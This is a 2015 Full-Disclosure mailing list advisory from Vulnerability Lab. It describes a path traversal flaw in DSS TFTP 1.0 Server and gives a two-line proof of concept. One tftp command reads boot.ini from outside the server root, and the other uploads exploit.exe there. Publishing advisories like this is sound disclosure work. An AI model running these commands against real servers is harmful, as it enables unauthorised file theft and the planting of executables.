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List:       full-disclosure
Subject:    [FD] DSS TFTP 1.0 Server - Path Traversal Vulnerability
From:       Vulnerability Lab <research () vulnerability-lab ! com>
Date:       2015-02-26 11:44:14
Message-ID: 54EF070E.5060307 () vulnerability-lab ! com
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Document Title:
===============
DSS TFTP 1.0 Server - Path Traversal Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1440


Release Date:
=============
2015-02-26


Vulnerability Laboratory ID (VL-ID):
====================================
1440


Common Vulnerability Scoring System:
====================================
6.2


Product & Service Introduction:
===============================
DSS TFTP 1.0 Server is a simple TFTP server that allows basic file transfers.

(Download: http://www.kndata.com/downloads/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a path traversal vulnerability in \
the official DSS TFTP 1.0 Server software.


Vulnerability Disclosure Timeline:
==================================
2015-02-26:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
DSS TFTP 1.0 Server is a simple TFTP server that allows user to download/upload files through \
the TFTP service from/to specified tftp root directory.  However, application is vulnerable to \
path traversal that enables attacker to download/upload files outside the tftp root directory.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user interaction or privileged \
application user account. For security demonstration or to reproduce the security vulnerability \
follow the provided information and steps below to continue.

GET file from server
tftp -i 192.168.56.101 GET .../boot.ini

PUT file outside the tftp root directory
tftp -i 192.168.56.101 PUT exploit.exe .../exploit.exe


Security Risk:
==============
The security risk of the path traversal software vulnerability is estimated as high. (CVSS 6.2)


Credits & Authors:
==================
lucyoa


Disclaimer & Information:
=========================
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